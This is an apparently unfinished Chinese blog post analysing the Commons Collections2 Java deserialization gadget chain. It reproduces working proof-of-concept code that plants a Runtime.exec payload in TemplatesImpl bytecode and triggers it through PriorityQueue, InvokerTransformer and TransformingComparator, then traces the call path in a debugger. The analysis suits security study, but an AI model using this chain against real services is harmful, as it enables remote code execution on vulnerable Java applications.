其他分享
首页 > 其他分享> > Commons Collections2(未完成)

Commons Collections2(未完成)

作者:互联网

0x01、POC分析

ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
//创建一个新的public类
CtClass payload=classPool.makeClass("CommonsCollections2");
//设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.setSuperclass(classPool.get(AbstractTranslet)); 
//创建一个空的类初始化,设置构造函数主体为
runtimepayload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); 

首先是通过getDefault创建一个CtClass对象的容器,然后appendClassPath()来添加添加AbstractTranslet的搜索路径;

然后创建一个public修饰的类,类名为CommonsCollection2;通过setSuperclass来设置父类;我们在想想看get()方法是干嘛的?通过该文章javassist使用,可以知道是查找AbstractTranslet

此处总结就是:设置父类为AbstractTranslet

然后创建一个静态代码块,静态代码块中设置内容为:

java.lang.Runtime.getRuntime().exec("calc");

第二部分

//反射创建TemplatesImpl
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
//反射获取templatesImpl的_bytecodes字段
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true); 

///将templatesImpl上的_bytecodes字段设置为runtime的byte数组
field.set(templatesImpl,new byte[][]{bytes});

//反射获取templatesImpl的_name字段
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);  

//将templatesImpl上的_name字段设置为test
field1.set(templatesImpl,"test");

然后通过反射创建,通过实例化调用了构造无参构造,然后newInstance()来实例化对象,通过反射获取private修饰的_bytecodes属性;获取私有的时候需要使用暴力反射;

然后将反射获取的_bytecodes变量赋值为bytes变量

bytespayload.toBytecode(),而payload是CommonsCollections2类的内容;将templatesImpl上的_bytecodes字段设置为CommonsCollections2类的的byte数组;

然后再通过反射获取到private修饰的_name变量,最后通过反射设置该变量的值为test

第三部分

InvokerTransformer transformer=new InvokerTransformer("newTransformer",
														new Class[]{},
														new Object[]{});

TransformingComparator comparator =new TransformingComparator(transformer);

而我们通过cc1知道,InvokerTransformer第⼀个参数是待执⾏的⽅法名第⼆个参数是这个函数的参数列表的参数类型第三个参数是传给这个函数的参数列表接着获取了 InvokerTransformer 实例对象.

所以这边是去调用了newTransformer这个方法,后面再细讲;然后TransformingComparatorcompare方法会去调用传入参数的transform方法。

第四部分

//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);

Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);

Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

构造参数有三种,然后我们这是第二种,自定义容量大小;然后将指定的元素插入此优先级队列,默认是升序排列;

此处是实验代码~~~,由于本人懒,就不单独写,直接修改一下下;

然后通过反射,去获取comparator变量,并且最后在comparator变量设置值为comparator

Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

最后步骤一样,设置queue变量为Object数组,内容为templatesImpl;最后就是输出序列化流

0x02、POC调试

最后我们分析一下,看看是怎么触发漏洞的

我们通过yso利用链中,可以知道这个入口函数在此处

PriorityQueue.readObject()

那么我们在此处下个断点,然后进行调试,然后我们不断的F8,看看会运行到哪里

运行到底部这边,它会调用这个heapify()方法,不然就这么结束了吗?所以我们F7再进去看看

PriorityQueue.heapify() 方法用于构造二叉堆

而关于这个二叉堆的细节,可以看看这篇文章heapify函数中会循环寻找最后一个非叶子节点 , 然后倒序调用 siftDown() 方法;那我们继续F7跟进查看

此处x的值,为queue[0];因为这边是heapify()调用的

然后前面我们是把queue进行序列化的,然后queue存储的是恶意类;comparator是被TransformingComparator修饰过的InvokerTransformer实例化对象。

所以理所应当的进入了siftDownUsingComparator()方法中。

跟进到siftDownUsingComparator方法里面,发现方法会去调用comparatorcompare,因为我们这里的compare是被TransformingComparator修饰过的InvokerTransformer实例化对象。所以这里调用的就是TransformingComparatorcompare

我们f7进入查看方法

然后这边通过上一步compare可以知道是两个TemplatesImpl对象

我们跟进transform()方法查看

这里是通过反射调用了newTransformer()方法

总结

本篇文章分析的并不好,很大部分都是"造轮子",等过几天捋一捋思路,再进行文章修改,目前先保留进度;

其中遇到了一些问题,比如执行到compare的时候就会直接跳出计算器;

https://www.guildhab.top/?p=6961#header-id-11

https://www.cnblogs.com/nice0e3/p/13860621.html#autoid-1-3-0

https://zhuanlan.zhihu.com/p/141591975

标签:反射,templatesImpl,Collections2,comparator,Commons,queue,调用,完成,new
来源: https://www.cnblogs.com/0x7e/p/14397810.html